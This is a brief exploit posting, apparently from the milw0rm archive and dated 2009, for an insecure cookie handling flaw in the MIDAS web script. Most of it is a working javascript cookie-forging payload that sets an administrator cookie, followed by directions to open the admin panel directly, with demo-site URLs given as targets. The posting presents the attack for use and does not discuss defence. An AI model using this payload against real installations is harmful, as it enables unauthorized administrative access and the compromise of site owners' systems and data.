--------------------------------------------
MIDAS Insecure Cookie Handling Vulnerability
--------------------------------------------
Author.: HxH
Contact: HxH[at]live[dot]at
---------------------------
Script.: MIDAS
Home...: http://mid.as
-------------------------------------------------------------------------------------------------
Exploit: javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";
Note...: After make cookie go direct to http://[website]/[script]/level1.pl?x=0
-------------------------------------------------------------------------------------------------
Demo...: http://demo.mid.as
Panel..: http://demo.mid.as/level1.pl?x=0
-----------------------------------------
Greetz.: ~ Jiko ~ Sniper Code
-----------------------------
# milw0rm.com [2009-06-22]
